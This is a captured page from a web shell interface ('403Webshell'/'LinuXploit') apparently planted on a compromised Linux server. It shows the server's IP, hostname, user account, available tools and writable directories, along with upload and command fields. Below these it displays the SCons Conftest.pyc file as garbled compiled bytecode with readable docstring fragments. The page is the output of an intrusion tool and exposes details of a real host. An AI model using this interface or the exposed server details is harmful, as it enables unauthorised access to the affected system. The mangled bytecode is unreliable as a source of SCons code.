403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/Conftest.pyc
�
�b3Qc@s
dZddlZddlmZdZdZddd�Zd�Zd�Z	d�Z
d	�Zed
�Z
ddd�Zdddd�Zdddd
�Zdddd�Zddd�Zdddddded�Zdd�Zdd�Zd�Zd�ZdS(sXSCons.Conftest

Autoconf-like configuration support; low level implementation of tests.
i����N(tIntTypeicCsyt|�\}}}|r0|jd|�|S|s?d}n|jd|�|j||�}t||d|�|S(s�
    Configure check to see if the compiler works.
    Note that this uses the current value of compiler and linker flags, make
    sure $CFLAGS, $CPPFLAGS and $LIBS are set correctly.
    "language" should be "C" or "C++" and is used to select the compiler.
    Default is "C".
    "text" may be used to specify the code to be build.
    Returns an empty string for success, an error message for failure.
    s%s
s
int main() {
    return 0;
}
s(Checking if building a %s file works... N(t_lang2suffixtDisplayt	BuildProgt_YesNoResulttNone(tcontextttexttlanguagetlangtsuffixtmsgtret((s /usr/lib/scons/SCons/Conftest.pytCheckBuilder{s
	cCs?|jd�d}t|d|d�}t||d|�|S(s
    Configure check for a working C compiler.

    This checks whether the C compiler, as defined in the $CC construction
    variable, can compile a C source file. It uses the current $CCCOM value
    too, so that it can test against non working flags.

    s%Checking whether the C compiler workss
int main()
{
    return 0;
}
tCCtCN(Rt_check_empty_programRR(RRR((s /usr/lib/scons/SCons/Conftest.pytCheckCC�s
	
cCsE|jd�d}t|d|ddt�}t||d|�|S(s
    Configure check for a working shared C compiler.

    This checks whether the C compiler, as defined in the $SHCC construction
    variable, can compile a C source file. It uses the current $SHCCCOM value
    too, so that it can test against non working flags.

    s.Checking whether the (shared) C compiler workss
int foo()
{
    return 0;
}
tSHCCRt
use_sharedN(RRtTrueRR(RRR((s /usr/lib/scons/SCons/Conftest.pyt	CheckSHCC�s
	
cCs?|jd�d}t|d|d�}t||d|�|S(s
    Configure check for a working CXX compiler.

    This checks whether the CXX compiler, as defined in the $CXX construction
    variable, can compile a CXX source file. It uses the current $CXXCOM value
    too, so that it can test against non working flags.

    s'Checking whether the C++ compiler workss
int main()
{
    return 0;
}
tCXXsC++N(RRRR(RRR((s /usr/lib/scons/SCons/Conftest.pytCheckCXX�s
	
cCsE|jd�d}t|d|ddt�}t||d|�|S(s
    Configure check for a working shared CXX compiler.

    This checks whether the CXX compiler, as defined in the $SHCXX construction
    variable, can compile a CXX source file. It uses the current $SHCXXCOM value
    too, so that it can test against non working flags.

    s0Checking whether the (shared) C++ compiler workss
int main()
{
    return 0;
}
tSHCXXsC++RN(RRRRR(RRR((s /usr/lib/scons/SCons/Conftest.pyt
CheckSHCXX�s
	
cCsj||jks|j|r!dSt|�\}}}|r@dS|rV|j||�S|j||�SdS(s!Return 0 on success, 1 otherwise.iN(tenvRtCompileSharedObjecttCompileProg(RtcompRRRR	R
R((s /usr/lib/scons/SCons/Conftest.pyR�sc
Cs�|jrd|j}nd}|s2d|}nt|�\}}}|rh|jd||f�|Sdi|d6|d6|d6}|jd	||f�|j||�}	t||	d
||d|�|	S(s7
    Configure check for a function "function_name".
    "language" should be "C" or "C++" and is used to select the compiler.
    Default is "C".
    Optional "header" can be defined to define a function prototype, include a
    header file or anything else that comes before main().
    Sets HAVE_function_name in context.havedict according to the result.
    Note that this uses the current value of compiler and linker flags, make
    sure $CFLAGS, $CPPFLAGS and $LIBS are set correctly.
    Returns an empty string for success, an error message for failure.
    s
#include "%s"ts0
#ifdef __cplusplus
extern "C"
#endif
char %s();sCannot check for %s(): %s
s�
%(include)s
#include <assert.h>
%(hdr)s

int main() {
#if defined (__stub_%(name)s) || defined (__stub___%(name)s)
  fail fail fail
#else
  %(name)s();
#endif

  return 0;
}
tnametincludethdrs!Checking for %s function %s()... tHAVE_s0Define to 1 if the system has the function `%s'.(theaderfilenameRRRR(
Rt
function_nametheaderRtincludetextR	R
RRR((s /usr/lib/scons/SCons/Conftest.pyt	CheckFunc�s$	

cCs�|jrd|j}nd}|s.d}nt|�\}}}|rd|jd||f�|S|ssd}nd|||d||df}	|jd||f�|j|	|�}
t||
d	||	d
|�|
S(s.
    Configure check for a C or C++ header file "header_name".
    Optional "header" can be defined to do something before including the
    header file (unusual, supported for consistency).
    "language" should be "C" or "C++" and is used to select the compiler.
    Default is "C".
    Sets HAVE_header_name in context.havedict according to the result.
    Note that this uses the current value of compiler and linker flags, make
    sure $CFLAGS and $CPPFLAGS are set correctly.
    Returns an empty string for success, an error message for failure.
    s#include "%s"
Rs$Cannot check for header file %s: %s
s<>s%s%s
#include %s%s%s

iis"Checking for %s header file %s... R"s-Define to 1 if you have the <%s> header file.(R#RRRR(Rtheader_nameR%Rtinclude_quotesR&R	R
RRR((s /usr/lib/scons/SCons/Conftest.pytCheckHeader;s&					cCs|jrd|j}nd}|s.d}nt|�\}}}|rd|jd||f�|Sdi|d6|d6|d6}	|jd||f�|j|	|�}
t||
d	||	d
|�|
r|r|jrt|jd�}|jd||f�|j�n|
S(
s�
    Configure check for a C or C++ type "type_name".
    Optional "header" can be defined to include a header file.
    "language" should be "C" or "C++" and is used to select the compiler.
    Default is "C".
    Sets HAVE_type_name in context.havedict according to the result.
    Note that this uses the current value of compiler and linker flags, make
    sure $CFLAGS, $CPPFLAGS and $LIBS are set correctly.
    Returns an empty string for success, an error message for failure.
    s
#include "%s"RsCannot check for %s type: %s
ss
%(include)s
%(header)s

int main() {
  if ((%(name)s *) 0)
    return 0;
  if (sizeof (%(name)s))
    return 0;
}
R R%RsChecking for %s type %s... R"s,Define to 1 if the system has the type `%s'.tastypedef %s %s;
(R#RRRRtopentwritetclose(Rt	type_nametfallbackR%RR&R	R
RRRtf((s /usr/lib/scons/SCons/Conftest.pyt	CheckTypeks*		

c
Cs�|jrd|j}nd}|s.d}nt|�\}}}|rd|jd||f�|S||}	|dk	r
|jd||f�|	d}	|j|	||f|�}
|
s�|jd�t|d||d|�|S|jd	�t||	|
�d
Sn�|jd|�|	d|d
}	|j|	|�\}
}yt	|�}Wnt
k
rwd}
d
}nX|
s�|jd�t|d||d|�|S|jd	�t||	|
�d
Sd
S(szThis check can be used to get the size of a given type, or to check whether
    the type is of expected size.

    Arguments:
        - type : str
            the type to check
        - includes : sequence
            list of headers to include in the test code before testing the type
        - language : str
            'C' or 'C++'
        - expect : int
            if given, will test wether the type has the given number of bytes.
            If not given, will automatically find the size.

        Returns:
            status : int
                0 if the check failed, or the found size of the type if the check succeeded.s
#include "%s"RsCannot check for %s type: %s
sChecking %s is %d bytes... s�
typedef %s scons_check_type;

int main()
{
    static int test_array[1 - 2 * !(((long int) (sizeof(scons_check_type))) == %d)];
    test_array[0] = 0;

    return 0;
}
syes
s	SIZEOF_%ss(The size of `%s', as computed by sizeof.sno
isChecking size of %s ... sR
#include <stdlib.h>
#include <stdio.h>
int main() {
    printf("%d", (int)sizeof(s));
    return 0;
}
    iN(R#RRRRt_Havet
_LogFailedtMessagetRunProgtintt
ValueError(
RR/R%RtexpectR&R	R
Rtsrctsttouttsize((s /usr/lib/scons/SCons/Conftest.pyt
CheckTypeSize�sR		








c
Cs�|jrd|j}nd}|s.d}nt|�\}}}|rd|jd||f�|S||}|jd|�|d||f}|j||�}	t||	d||d|�|	S(s�Checks whether symbol is declared.

    Use the same test as autoconf, that is test whether the symbol is defined
    as a macro or can be used as an r-value.

    Arguments:
        symbol : str
            the symbol to check
        includes : str
            Optional "header" can be defined to include a header file.
        language : str
            only C and C++ supported.

    Returns:
        status : bool
            True if the check failed, False if succeeded.s
#include "%s"Rs$Cannot check for declaration %s: %s
s#Checking whether %s is declared... sE
int main()
{
#ifndef %s
    (void) %s;
#endif
    ;
    return 0;
}
t
HAVE_DECL_sSet to 1 if %s is defined.(R#RRRR(
RtsymboltincludesRR&R	R
RR:R;((s /usr/lib/scons/SCons/Conftest.pytCheckDeclarations"		
	c	
Cs2|jrd|j}	nd}	|s.d}nd|	|f}
|r}|dkr}|sg|
d|}
n|s}d|}q}n|
d|p�d}
|r�|jd�}|d	kr�|| d
}q�|ddkr�|d }q�|}nxB|D]:}
t|�\}}}|r,|jd
|
|f�|S|rO|jd|||
f�n|jd||
f�|
r�|
g}|r�|j|�n|r�|j|�}n|j|�}d|
}nd}d}|j|
|�}t	||||
d|
�|dkr |s|r |j
|�n|s�|Sq�W|S(si
    Configure check for a C or C++ libraries "libs".  Searches through
    the list of libraries, until one is found where the test succeeds.
    Tests if "func_name" or "call" exists in the library.  Note: if it exists
    in another library the test succeeds anyway!
    Optional "header" can be defined to include a header file.  If not given a
    default prototype for "func_name" is added.
    Optional "extra_libs" is a list of library names to be added after
    "lib_name" in the build command.  To be used for libraries that "lib_name"
    depends on.
    Optional "call" replaces the call to "func_name" in the test code.  It must
    consist of complete C statements, including a trailing ";".
    Both "func_name" and "call" arguments are optional, and in that case, just
    linking against the libs is tested.
    "language" should be "C" or "C++" and is used to select the compiler.
    Default is "C".
    Note that this uses the current value of compiler and linker flags, make
    sure $CFLAGS, $CPPFLAGS and $LIBS are set correctly.
    Returns an empty string for success, an error message for failure.
    s
#include "%s"Rs
%s
%stmains1
#ifdef __cplusplus
extern "C"
#endif
char %s();
s%s();s
int
main() {
  %s
return 0;
}
s
is..i����t;s Cannot check for library %s: %s
s$Checking for %s in %s library %s... sChecking for %s library %s... tHAVE_LIBs)Define to 1 if you have the `%s' library.N(R#tfindRRtextendt
AppendLIBStPrependLIBSRRRtSetLIBS(Rtlibst	func_nameR%t
extra_libstcallRtautoaddtappendR&Rtitcalltexttlib_nameR	R
RtltoldLIBStsymR((s /usr/lib/scons/SCons/Conftest.pytCheckLibCsb		
	
			
cCsT|rt||||�n|rC|jd�t|||�n
|jd�dS(s�
    Handle the result of a test with a "yes" or "no" result.
    "ret" is the return value: empty if OK, error message when not.
    "key" is the name of the symbol to be defined (HAVE_foo).
    "text" is the source code of the program used for testing.
    "comment" is the C comment to add above the line defining the symbol (the
    comment is automatically put inside a /* */). If None, no comment is added.
    sno
syes
N(R3RR4(RRtkeyRtcomment((s /usr/lib/scons/SCons/Conftest.pyR�s	
cCs|j�}tjdd|�}||j|<|dkrGd|}nQ|dkr`d|}n8t|t�r�d||f}nd|t|�f}|d
k	r�d	||}n
d
|}|jr�t	|jd�}|j
|�|j�n"t|d�r|j
||_
nd
S(s&
    Store result of a test in context.havedict and context.headerfilename.
    "key" is a "HAVE_abc" name.  It is turned into all CAPITALS and non-
    alphanumerics are replaced by an underscore.
    The value of "have" can be:
    1      - Feature is defined, add "#define key".
    0      - Feature is not defined, add "/* #undef key */".
             Adding "undef" is what autoconf does.  Not useful for the
             compiler, but it shows that the test was done.
    number - Feature is defined to this number "#define key have".
             Doesn't work for 0 or 1, use a string then.
    string - Feature is defined to this string "#define key have".
             Give "have" as is should appear in the header file, include quotes
             when desired and escape special characters!
    s
[^A-Z0-9_]t_is
#define %s 1
is/* #undef %s */
s#define %s %d
s#define %s %s
s

/* %s */
s
R+tconfig_hN(tuppertretsubthavedictt
isinstanceRtstrRR#R,R-R.thasattrR[(RRXthaveRYtkey_uptlinetlinesR1((s /usr/lib/scons/SCons/Conftest.pyR3�s&



	

cCs�tr�|jd�|jd�}t|�rK|ddkrK|d }nd}x2|D]'}|jd||f�|d}qXWntr�|jd|�ndS(	sr
    Write to the log about a failed program.
    Add line numbers, so that error messages can be understood.
    sFailed program was:
s
i����Ris%d: %s
sError message: %s
N(t
LogInputFilestLogtsplittlentLogErrorMessages(RRRRftnRe((s /usr/lib/scons/SCons/Conftest.pyR4�s


cCs8|s|dkrd
S|dkr'dSddd
|fS(s`
    Convert a language name to a suffix.
    When "lang" is empty or None C is assumed.
    Returns a tuple (lang, suffix, None) when it works.
    For an unrecognized language returns (None, None, msg).
    Where:
        lang   = the unified language name
        suffix = the suffix, including the leading dot
        msg    = an error message
    Rtcs.csc++sC++tcppRtcxxs.cppsUnsupported language: %s(RRmN(Rs.cN(sc++sC++RnsCXXRo(sC++s.cppN(R(R	((s /usr/lib/scons/SCons/Conftest.pyRs
(t__doc__R]ttypesRRgRkRR
RRRRtFalseRR'R*R2R>RBRRWRR3R4R(((s /usr/lib/scons/SCons/Conftest.pyt<module>s0c				E/=g3n)	

Youez - 2016 - github.com/yon3zu
LinuXploit